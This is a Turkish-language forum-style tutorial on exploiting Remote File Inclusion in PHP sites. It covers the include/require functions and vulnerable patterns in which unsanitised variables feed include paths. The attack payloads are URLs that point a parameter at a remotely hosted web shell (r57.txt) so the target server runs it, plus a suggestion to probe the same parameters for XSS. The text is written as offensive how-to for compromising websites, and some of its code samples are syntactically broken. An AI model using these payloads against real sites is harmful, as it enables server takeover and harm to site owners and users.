Remote File Inclusion
Remote File Inclusion(RFI) Uzaktan Dosya dahil olmasi anlamina gelmektedir.
Remote File Inclusion bir saldiri teknigi, bilgisayardan Internet web sitelerine saldiri için kullanilir.
Uzaktan dosya katilim(RFI) saldirilari kötü niyetli kisilerin kurban olarak gördügü web sitesinde kendi PHP kod çalistirmasina izin verir.Böylece uzaktan dosya dahil olur.
Remote file inclusion 4 tane kodun sayesiyle bulunur.
Bunlar sunlardir,
include
require
include_once
require_once
Bir de veriable isimli bilgi sepetlerimiz var,
$hayber = ’Exploit’;
Herhangi bir script indirelim ve de o scriptin fotograf.php adli dosyasina not defteri ile bakalim.
Örnek veriyorum;
define(’IN_Scripts’, true);
$phpbb_root_path = ’./’;
$album_root_path = $phpbb_root_path . ’fotograf_mod/’;
include($phpbb_root_path . ’abcd.inc’);
include($phpbb_root_path . ’hayber.’.$phpfX;
Simdi burda bu include kodun oldugunu fark ettik.Size require de olur demistim.Bunu da buraya yazabilirim,degisen hiçbir sey olmayacaktir.
Yani,
require($phpbb_root_path . ’abcd.inc’);
include($phpbb_root_path . ’hayber.’.$phpfX;
Require ve include ne ise yarar?
include bir dosyayi baska bir dosyanin içine dahil etmektir.
Örnek verirsem,
Diyelim ki burda scripti yapan kisi 100 sayfa kod yazmis, bunu fotograf.php için yazmis.Atiyorum,index.php de bu kodlara ihtiyaci var,tek satir kodla include(album.php) de yazdigi zaman direk karsisina gelir bunlar.
Include iste bu ise yaramaktadir.
Bu 2 kod ( include ve require) arasindaki fark,
Require yani include dahil edilmesi gereken dosya mevcut degil ise hata verir ve geri kalan kodlarin hiçbirini çalistirmaz.include de ise tek bir satir hata verir bu dosya bulunmuyordur.Kalan su kodlarin devamini çalistirmaya devam eder.Aralarindaki tek fark budur.
Require_once ve include_once tek sefer yani tüm script içinde one script demektir.Tek seferde hareket etme anlaminda.Bu yüzden aralarinda pek fark yoktur.
Sizin bilmeniz gereken bu 4 tane kodu yani bunlari,
include
require
include_once
require_once
tek tek satirlarin içinde arayacaksiniz.
Bir de sizlere veriable bilgi sepeti var demistim,
define(’IN_Scripts’, true);
$phpbb_root_path = ’./’;
$album_root_path = $phpbb_root_path . ’fotograf_mod/’;
include($phpbb_root_path . ’abcd.inc’);
include($phpbb_root_path . ’hayber.’.$phpfX;
Bazi scriptler veriable koyar,mesela üstteki örnekte görebiliyoruz.
include($phpbb_root_path
Burda bunu yazmis ve de üstüne buna tanimlamis ve dizini göstermis(phpbb_root_path)
$phpbb_root_path = ’hayber’;
Bizim burda asil isimiz sudur,tanimlanmamis olan scripti kendi kodumuzla kendi istedigimiz kodlarla doldururuz.
Üstte gördügünüz gibi yani shell linkimizi buna bir sekilde tanimlamis oluyoruz.
/includes/fotograf.php?phpbb_root_path=[Shell?]
Ben buna burda tanimladigimda örnekteki kodlari site üzerinde çalistiyorum.
Burda yapmamiz gereken scriptte tek tek dolasip,bu yukarda göstermis oldugum 4 kodu arayacaksiniz ve parantez içinde böyle;
$phpbb_root_path = ’hayber’; bir sey arayacaksiniz.
Zayif bir php kodu örnek,
include($page . ’.php’);
bu php kod asagidaki örnek gibi linklerde kullanilir,
http://www.a.com/index.php?page=archive
buradaki $page degiskeni özel tanimli degil ise,shelli hedef sunucu üzerinde çalistirabilirsiniz yani,
www.a.com/index.php?page=SheLL?]
RFI denemek istiyorsak,
Sitede id degeri vardir id=13 dür,13 ü silelim, shellimizin linkini oraya koyalim.Sonuna da ? (Soru isareti) koymayi da unutmayalim.Böylece RFI deneyebilirsiniz.
Örnek;
www.abcd.com/index.php?hayber=www.werty.com/r57.txt?
RFI aramak istediginiz sitede XSS de arayabilirsiniz.
id= nin ucuna xss kodu ekleyerek.